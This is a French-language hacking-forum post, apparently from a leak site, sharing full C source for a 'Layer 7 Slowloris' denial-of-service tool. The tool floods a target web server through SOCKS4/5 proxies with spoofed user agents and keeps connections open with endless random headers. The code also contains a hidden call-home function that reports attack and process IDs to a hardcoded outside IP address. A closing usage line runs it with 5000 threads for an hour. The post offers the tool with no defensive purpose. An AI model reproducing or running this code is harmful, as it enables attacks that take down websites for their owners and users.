Layer 7 Slowloris

MWHAX7

VeryLeak's Unique Member 👑
Level 5
VeryFriend's

Torrents Stats

Messages
573
J'aime
829
Trophées
1 404
Inscrit
22 Décembre 2015
9a2d1383132c66c115cb92cfe9bd3c92.png

Code:
#include <pthread.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <netinet/in.h>
#include <ctype.h>
 
#define RND_CHAR (char)((rand() % 26)+97)
 
char *useragents[] = {
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
};
#define ATTACKPORT 80
char *postformat = "GET /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n";
char *postpayload;
struct urlparts {
        char * name;
        char separator[4];
        char value[128];
} parts[] = {
        { "scheme", ":" },
        { "userid", "@" },
        { "password", ":" },
        { "host", "//" },
        { "port", ":" },
        { "path", "/" },
        { "param", ";" },
        { "query", "?" },
        { "fragment", "#" }
};
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
struct urlparts *returnparts[8];
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
struct proxy { char *type; char *ip; int port; int working; };
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
struct list *head = NULL;
char parseError[128];
int parseURL(char *url, struct urlparts **returnpart);
char * strsplit(char * s, char * tok);
char firstpunc(char *s);
int strleft(char * s, int n);
void setupparts();
void freeparts();
char *stristr(const char *String, const char *Pattern);
char *str_replace(char *orig, char *rep, char *with);
char *geturl(char *url, char *useragent, char *ip);
char *ipstr;
 
void *flood(void *par) {
        struct list *startpoint = (struct list *)par;
        int i;
        struct sockaddr_in serverAddr;
        signal(SIGPIPE, SIG_IGN);
        while(1)
        {
                int sent = 0;
                if(startpoint->data->working == 0)
                {
                        startpoint = startpoint->next;
                        sleep(1);
                        continue;
                }
                memset(&serverAddr, 0, sizeof(serverAddr));
                serverAddr.sin_family = AF_INET;
                serverAddr.sin_port = htons(startpoint->data->port);
                serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
                int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
                u_int yes=1;
                if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
                if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
                {
                        startpoint->data->working = 0;
                        startpoint = startpoint->next;
                        continue;
                }
                if(strcmp(startpoint->data->type, "Socks4")==0)
                {
                        unsigned char buf[10];
                        buf[0] = 0x04;
                        buf[1] = 0x01;
                        *(unsigned short*)&buf[2] = htons(ATTACKPORT);
                        *(unsigned long*)&buf[4] = inet_addr(ipstr);
                        buf[8] = 0x00;
                        if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
                        {
                                startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                }
                if(strcmp(startpoint->data->type, "Socks5")==0)
                {
                        unsigned char buf[20];
                        buf[0] = 0x05;
                        buf[1] = 0x01;
                        buf[2] = 0x00;
                        if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
                        {
                                startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        buf[0] = 0x05;
                        buf[1] = 0x01;
                        buf[2] = 0x00;
                        buf[3] = 0x01;
                        *(unsigned long*)&buf[4] = inet_addr(ipstr);
                        *(unsigned short*)&buf[8] = htons(ATTACKPORT);
                        if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
                        {
                                printf("BAD PROXY ONLY SENT %d:%d\n", sent, 10);
                                perror("send 10");
                                startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                }
                char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
                if(httppayload == NULL)
                {
                        startpoint = startpoint->next;
                        close(serverSocket);
                        continue;
                }
                sent = send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
                free(httppayload);
                int send_return = 1;
                while(send_return > 0)
                {
                        char *headershit = malloc(255);
                        sprintf(headershit, "X-%c%c%c%c%c%c%c: 1\r\n", RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR, RND_CHAR);
                        send_return = send(serverSocket, headershit, strlen(headershit), MSG_NOSIGNAL);
                        free(headershit);
                        sleep(1);
                }
                close(serverSocket);
                usleep(30000);
                //startpoint = startpoint->next;
        }
}
 
int fnAttackInformation(int attackID)
{
        char szRecvBuff[1024];
        char packet[1024];
        char ip[] = "37.221.170.5";
 
        snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
 
        struct sockaddr_in *remote;
        int sock;
        int tmpres;
     
 
        if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        {
                perror("Can't create TCP socket");
                exit(1);
        }
     
        remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
        remote->sin_family = AF_INET;
        tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
     
        if (tmpres < 0)
        {
                perror("Can't set remote->sin_addr.s_addr");
                exit(1);
        }
        else if (tmpres == 0)
        {
                fprintf(stderr, "%s is not a valid IP address\n", ip);
                exit(1);
        }
     
        remote->sin_port = htons(80);
     
        if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
        {
                perror("Could not connect");
                exit(1);
        }
             
        tmpres = send(sock, packet, strlen(packet), 0);
     
        //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);      
     
        if (tmpres == -1){
                perror("Can't send query");
                exit(1);
        }
 
        int i = 1;
        int dwTotal = 0;
 
 
        while (1)
        {
                i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
                //printf("Received %d bytes\n", i);
                if (i <= 0)
                        break;
                     
                dwTotal += i;
        }
 
        szRecvBuff[dwTotal] = '\0';
     
 
        //printf("Received -> \n%s\n\n", szRecvBuff);
 
     
        close(sock);
     
        //printf("Sent %d bytes\n", tmpres);
     
        return 0;
}
 
int main(int argc, char *argv[ ]) {
        if(argc < 4){
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s <target url> <number threads to use> <proxy list> <time> [manual ip]\n", argv[0]);
                exit(-1);
        }
        //fprintf(stdout, "Setting up Sockets...\n");
        int num_threads = atoi(argv[2]);
        FILE *pFile = fopen(argv[3], "rb");
        if(pFile==NULL)
        {
                perror("fopen"); exit(1);
        }
        fseek(pFile, 0, SEEK_END);
        long lSize = ftell(pFile);
        rewind(pFile);
        char *buffer = (char *)malloc(lSize*sizeof(char));
        fread(buffer, 1, lSize, pFile);
        fclose (pFile);
        int i=0;
        char *pch = (char *)strtok(buffer, ":");
        while(pch != NULL)
        {
                if(head == NULL)
                {
                        head = (struct list *)malloc(sizeof(struct list));
                        bzero(head, sizeof(struct list));
                        head->data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(head->data, sizeof(struct proxy));
                        head->data->working = 1;
                        head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) exit(-1);
                        head->data->port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
                        pch = (char *)strtok(NULL, ":");
                        head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        head->next = head;
                        head->prev = head;
                } else {
                        struct list *new_node = (struct list *)malloc(sizeof(struct list));
                        bzero(new_node, sizeof(struct list));
                        new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(new_node->data, sizeof(struct proxy));
                        new_node->data->working = 1;
                        new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) break;
                        new_node->data->port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        new_node->prev = head;
                        new_node->next = head->next;
                        head->next = new_node;
                }
        }
        free(buffer);
        const rlim_t kOpenFD = 1024 + (num_threads * 2);
        struct rlimit rl;
        int result;
        rl.rlim_cur = kOpenFD;
        rl.rlim_max = kOpenFD;
        result = setrlimit(RLIMIT_NOFILE, &rl);
        if (result != 0)
        {
                perror("setrlimit");
                fprintf(stderr, "setrlimit returned result = %d\n", result);
        }
        setupparts();
        parseURL(argv[1], returnparts);
        if(argc > 5)
        {
                ipstr = malloc(strlen(argv[5])+1);
                bzero(ipstr, strlen(argv[5])+1);
                strcpy(ipstr, argv[5]);
                //fprintf(stdout, "Using manual IP...\n");
        } else {
                struct hostent *he;
                struct in_addr a;
                he = gethostbyname(returnparts[host]->value);
                if (he)
                {
                        while (*he->h_addr_list)
                        {
                                bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
                                ipstr = malloc(INET_ADDRSTRLEN+1);
                                inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
                                break;
                        }
                }
                else
                { herror("gethostbyname"); }
        }
        pthread_t thread[num_threads];
        struct list *td[num_threads];
        struct list *node = head->next;
             
             
        for(i=0;i<num_threads;i++)
        {
                td[i] = node;
                node = node->next;
        }
        postpayload = malloc(4096);
        sprintf(postpayload, postformat, returnparts[path]->value, returnparts[host]->value);
        freeparts();
   
            //fprintf(stdout, "Starting Flood...\n");
     
                fnAttackInformation(atoi(argv[argc-1]));
                for(i = 0;i<num_threads;i++){
                pthread_create( &thread[i], NULL, &flood, (void *) td[i]);
        }
        sleep(atoi(argv[4]));
        return 0;
}
void freeparts()
{
        return;
        if(returnparts[0]!=NULL) { free(returnparts[0]); }
        if(returnparts[1]!=NULL) { free(returnparts[1]); }
        if(returnparts[2]!=NULL) { free(returnparts[2]); }
        if(returnparts[3]!=NULL) { free(returnparts[3]); }
        if(returnparts[4]!=NULL) { free(returnparts[4]); }
        if(returnparts[5]!=NULL) { free(returnparts[5]); }
        if(returnparts[6]!=NULL) { free(returnparts[6]); }
        if(returnparts[7]!=NULL) { free(returnparts[7]); }
        if(returnparts[8]!=NULL) { free(returnparts[8]); }
        return;
}
void setupparts()
{
        returnparts[0] = malloc(sizeof(struct urlparts));
        returnparts[1] = malloc(sizeof(struct urlparts));
        returnparts[2] = malloc(sizeof(struct urlparts));
        returnparts[3] = malloc(sizeof(struct urlparts));
        returnparts[4] = malloc(sizeof(struct urlparts));
        returnparts[5] = malloc(sizeof(struct urlparts));
        returnparts[6] = malloc(sizeof(struct urlparts));
        returnparts[7] = malloc(sizeof(struct urlparts));
        returnparts[8] = malloc(sizeof(struct urlparts));
        bzero(returnparts[0], sizeof(struct urlparts));
        bzero(returnparts[1], sizeof(struct urlparts));
        bzero(returnparts[2], sizeof(struct urlparts));
        bzero(returnparts[3], sizeof(struct urlparts));
        bzero(returnparts[4], sizeof(struct urlparts));
        bzero(returnparts[5], sizeof(struct urlparts));
        bzero(returnparts[6], sizeof(struct urlparts));
        bzero(returnparts[7], sizeof(struct urlparts));
        bzero(returnparts[8], sizeof(struct urlparts));
        returnparts[0]->name = "scheme";
        strcpy(returnparts[0]->separator, ":");
        returnparts[1]->name = "userid";
        strcpy(returnparts[1]->separator, "@");
        returnparts[2]->name = "password";
        strcpy(returnparts[2]->separator, ":");
        returnparts[3]->name = "host";
        strcpy(returnparts[3]->separator, "//");
        returnparts[4]->name = "port";
        strcpy(returnparts[4]->separator, ":");
        returnparts[5]->name = "path";
        strcpy(returnparts[5]->separator, "/");
        returnparts[6]->name = "param";
        strcpy(returnparts[6]->separator, ";");
        returnparts[7]->name = "query";
        strcpy(returnparts[7]->separator, "?");
        returnparts[8]->name = "fragment";
        strcpy(returnparts[8]->separator, "#");
        return;
}
int parseURL(char *url, struct urlparts **returnpart) {
        register i;
        int seplen;
        char * remainder;
        char * regall = ":/;?#";
        char * regpath = ":;?#";
        char * regx;
        if(!*url)
        {
                strcpy(parseError, "nothing to do!\n");
                return 0;
        }
        if((remainder = malloc(strlen(url) + 1)) == NULL)
        {
                printf("cannot allocate memory\n");
                exit(-1);
        }
        strcpy(remainder, url);
        if(firstpunc(remainder) == ':')
        {
                strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
                strleft(remainder, 1);
        }
        if (!strcmp(returnpart[scheme]->value, "mailto"))
        *(returnpart[host]->separator) = 0;
        for(i = 0; i < NUMPARTS; i++)
        {
                if(!*remainder)
                break;
                if(i == scheme || i == userid || i == password)
                continue;
                if(i == host && strchr(remainder, '@'))
                {
                        if(!strncmp(remainder, "//", 2))
                        strleft(remainder, 2);
                        strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
                        strleft(remainder, 1);
                        if(strchr(remainder, '@'))
                        {
                                strcpy(returnpart[password]->value, strsplit(remainder, "@"));
                                strleft(remainder, 1);
                        }
                        *(returnpart[host]->separator) = 0;
                }
                if(i == path && (! *(returnpart[scheme]->value)))
                {
                        *(returnpart[path]->separator) = 0;
                        strcpy(returnpart[scheme]->value, "http");
                }
                regx = (i == path) ? regpath : regall ;
                seplen = strlen(returnpart[i]->separator);
                if(strncmp(remainder, returnpart[i]->separator, seplen))
                continue;
                else
                strleft(remainder, seplen);
                strcpy(returnpart[i]->value, strsplit(remainder, regx));
        }
        if(*remainder)
        sprintf(parseError, "I don't understand '%s'", remainder);
        free(remainder);
        return 0;
}
char *str_replace(char *orig, char *rep, char *with) {
        char *result;
        char *ins;
        char *tmp;
        int len_rep;
        int len_with;
        int len_front;
        int count;
        if (!orig)
        return NULL;
        if (!rep || !(len_rep = strlen(rep)))
        return NULL;
        if (!(ins = strstr(orig, rep)))
        return NULL;
        if (!with)
        with = "";
        len_with = strlen(with);
        for (count = 0; tmp = strstr(ins, rep); ++count) {
                ins = tmp + len_rep;
        }
        tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
        if (!result)
        return NULL;
        while (count--) {
                ins = strstr(orig, rep);
                len_front = ins - orig;
                tmp = strncpy(tmp, orig, len_front) + len_front;
                tmp = strcpy(tmp, with) + len_with;
                orig += len_front + len_rep;
        }
        strcpy(tmp, orig);
        return result;
}
char * strsplit(char * s, char * tok) {
#define OUTLEN (255)
        register i, j;
        static char out[OUTLEN + 1];
        for(i = 0; s[i] && i < OUTLEN; i++)
        {
                if(strchr(tok, s[i]))
                break;
                else
                out[i] = s[i];
        }
        out[i] = 0;
        if(i && s[i])
        {
                for(j = 0; s[i]; i++, j++) s[j] = s[i];
                s[j] = 0;
        }
        else if (!s[i])
        *s = 0;
        return out;
}
char firstpunc(char * s) {
        while(*s++)
        if(!isalnum(*s)) return *s;
        return 0;
}
int strleft(char * s, int n) {
        int l;
        l = strlen(s);
        if(l < n)
        return -1;
        else if (l == n)
        *s = 0;
        memmove(s, s + n, l - n + 1);
        return n;
}
Code:
./slow 127.0.0.1 5000 proxies.txt 3600 0
 
Dernière édition:
Haut Bas